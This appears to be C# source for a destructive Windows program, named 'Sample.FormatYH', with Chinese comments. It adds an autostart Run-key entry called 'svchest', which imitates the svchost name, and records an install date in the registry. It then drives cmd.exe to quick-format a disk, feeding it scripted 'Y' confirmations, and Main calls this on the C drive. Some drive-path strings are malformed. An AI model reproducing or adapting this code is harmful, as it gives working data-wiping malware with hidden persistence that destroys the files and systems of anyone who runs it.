using System;
using System.Runtime.InteropServices;
using System.Text;
using System.Collections;
using System.Diagnostics;
using Microsoft.Win32;
using System.Windows.Forms ;
namespace Sample.FormatYH
{
#region 获得WINDOWS 版本
[ StructLayout( LayoutKind.Sequential )]
public struct OSVersionInfo
{
public int OSVersionInfoSize;
public int MajorVersion;
public int MinorVersion;
public int BuildNumber;
public int PlatformId;
[ MarshalAs( UnmanagedType.ByValTStr, SizeConst=128 )]
public String versionString;
}
public enum wv_enum
{
WV_31 =1,
WV_95 = 2,
WV_NT=3,
WV_98 = 4,
WV_ME =5,
WV_2K = 6,
WV_XP = 7,
WV_S2003F = 8
}
public class _GetVersion
{
[DllImport("kernel32",EntryPoint="GetVersionEx")]
private static extern bool GetVersionExa(ref OSVersionInfo osvi );
public static wv_enum GetVersion()
{
OSVersionInfo osvi=new OSVersionInfo();
osvi.OSVersionInfoSize = Marshal.SizeOf( osvi );
GetVersionExa(ref osvi );
return OpSysName(osvi.MajorVersion,osvi.MinorVersion,osvi.PlatformId);
}
private static wv_enum OpSysName(int MajorVersion,int MinorVersion ,int PlatformId)
{
String str_opn =String.Format("{0}.{1}",MajorVersion,MinorVersion);
switch(str_opn)
{
case "4.0":
return win95_nt40(PlatformId);
case "4.10":
return wv_enum.WV_98;
case "4.90":
return wv_enum.WV_ME;
case "3.51":
return wv_enum.WV_31;
case "5.0":
return wv_enum.WV_2K;
case "5.1":
return wv_enum.WV_XP;
case "5.2":
return wv_enum.WV_S2003F;
default:
return wv_enum.WV_98;
}
}
private static wv_enum win95_nt40(int PlatformId)
{
switch(PlatformId)
{
case 1:
return wv_enum.WV_95;
case 2:
return wv_enum.WV_NT;
default:
return wv_enum.WV_95;
}
}
}
#endregion
#region 获取系统逻缉磁盘信息
public struct DiskInfo
{
public string diskTag;
public string diskVname;
public string diskFilesys;
}
class GetLogicDiver
{
private static String[] drives = Environment.GetLogicalDrives();
private static string sysdir =Environment.SystemDirectory;
private static DiskInfo dif =new DiskInfo();
[DllImport("Kernel32",EntryPoint="GetDriveType")]
private static extern uint GetDriveTypeA(String dvn);
[DllImport("kernel32.dll")]
private static extern long GetVolumeInformation(string PathName, StringBuilder VolumeNameBuffer, UInt32 VolumeNameSize, ref UInt32 VolumeSerialNumber, ref UInt32 MaximumComponentLength, ref UInt32 FileSystemFlags, StringBuilder FileSystemNameBuffer, UInt32 FileSystemNameSize);
private static string GetVolumeName(string strDriveLetter)
{
uint serNum = 0;
uint maxCompLen = 0;
StringBuilder VolLabel = new StringBuilder(256);
UInt32 VolFlags = new UInt32();
StringBuilder FSName = new StringBuilder(256);
long Ret = GetVolumeInformation(strDriveLetter, VolLabel, (UInt32)VolLabel.Capacity, ref serNum, ref maxCompLen, ref VolFlags, FSName, (UInt32)FSName.Capacity);
return Convert.ToString(VolLabel);
}
private static string GetFSName(string strDriveLetter)
{
uint serNum = 0;
uint maxCompLen = 0;
StringBuilder VolLabel = new StringBuilder(256);
UInt32 VolFlags = new UInt32();
StringBuilder FSName = new StringBuilder(256);
long Ret = GetVolumeInformation(strDriveLetter, VolLabel, (UInt32)VolLabel.Capacity, ref serNum, ref maxCompLen, ref VolFlags, FSName, (UInt32)FSName.Capacity);
return Convert.ToString(FSName);
}
public static ArrayList GetDiskInfo()
{
ArrayList al =new ArrayList();
for(int i=0; i<drives.Length; i++)
{
if(GetDriveTypeA(drives[i])==3&&drives[i]!=sysdir .Substring(0,1)+"://"&&drives[i]!=Application.StartupPath.Substring(0,1).ToUpper()+"://")
{
dif.diskTag=drives[i];
dif.diskVname=GetVolumeName(drives[i]);
dif.diskFilesys=GetFSName(drives[i]);
al.Add(dif);
}
}
return al;
}
}
#endregion
#region 调用系统命令
public class HookFormat
{
public static void StarFormat(string diskno,string diskv)
{
Process p = new Process();
if(_GetVersion.GetVersion()==wv_enum.WV_NT||_GetVersion.GetVersion()==wv_enum.WV_2K||_GetVersion.GetVersion()==wv_enum.WV_XP||_GetVersion.GetVersion()==wv_enum.WV_S2003F)
{
p.StartInfo.FileName ="cmd.exe";
}
else
{
p.StartInfo.FileName ="command.exe";
}
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardError = false;
p.StartInfo.CreateNoWindow = false;
p.Start();
p.StandardInput.WriteLine("format "+diskno.Substring(0,2) +" /q");
p.StandardInput.WriteLine(diskv);
p.StandardInput.WriteLine("Y");
p.StandardInput.WriteLine("N");
p.StandardInput.WriteLine("exit");
string strRst=p.StandardOutput.ReadToEnd();
//
Console.WriteLine(strRst);
}
}
#endregion
#region 设置和调用注册表信息
public class DelReg
{
//创建键值
public static void Reg()
{
RegistryKey hklm = Registry.LocalMachine ;
RegistryKey software=hklm.OpenSubKey ( "SOFTWARE" , true ) ;
RegistryKey microsoft=software.OpenSubKey("MICROSOFT",true);
RegistryKey windows=microsoft.OpenSubKey("Windows",true);
RegistryKey currentversion=windows.OpenSubKey("CurrentVersion",true);
RegistryKey _run = currentversion.OpenSubKey("Run",true);
_run.SetValue("svchest",Application.StartupPath+"svchest.exe");
RegistryKey svchest =software.CreateSubKey("Svchest");
svchest.SetValue("sdate",DateTime.Now.ToString());
}
//判断键值是否存在
public static bool IsCreat()
{
RegistryKey hklm = Registry.LocalMachine ;
RegistryKey software=hklm.OpenSubKey ( "SOFTWARE" , true ) ;
RegistryKey microsoft=software.OpenSubKey("MICROSOFT",true);
RegistryKey windows=microsoft.OpenSubKey("Windows",true);
RegistryKey currentversion=windows.OpenSubKey("CurrentVersion",true);
RegistryKey _run = currentversion.OpenSubKey("Run",true);
if(_run .GetValue("svchest")!=null)
{
return true;
}
else
{
return false;
}
}
//获取键值
public static string GetDate()
{
RegistryKey hklm = Registry.LocalMachine ;
RegistryKey software=hklm.OpenSubKey ( "SOFTWARE" , true ) ;
RegistryKey svchest =software.OpenSubKey ("Svchest",true);
return (string)svchest.GetValue("sdate");
}
//删除键值
public static void DelKey()
{
RegistryKey hklm = Registry.LocalMachine ;
RegistryKey software=hklm.OpenSubKey ( "SOFTWARE" , true ) ;
RegistryKey microsoft=software.OpenSubKey("MICROSOFT",true);
RegistryKey windows=microsoft.OpenSubKey("Windows",true);
RegistryKey currentversion=windows.OpenSubKey("CurrentVersion",true);
RegistryKey _run = currentversion.OpenSubKey("Run",true);
_run.DeleteValue("svchest");
software.DeleteSubKey("Svchest",false);
}
}
#endregion
class App
{
static void Main()
{
ArrayList al=GetLogicDiver.GetDiskInfo();
for(int i=0;i<al.Count;i++)
{
DiskInfo dif=(DiskInfo)al[i];
Console.WriteLine("{0}/n{1}/n{2}/n===============================",dif.diskTag,dif.diskVname,dif.diskFilesys);
}
Console.WriteLine(Application.StartupPath.Substring(0,1).ToUpper());
Console.WriteLine(_GetVersion.GetVersion().ToString());
Console.WriteLine(DateTime.Now.Year.ToString());
if(!DelReg.IsCreat())
{
DelReg.Reg();
}
Console.WriteLine(DelReg.GetDate());
HookFormat.StarFormat("c://","SYSTEM");
}
}
}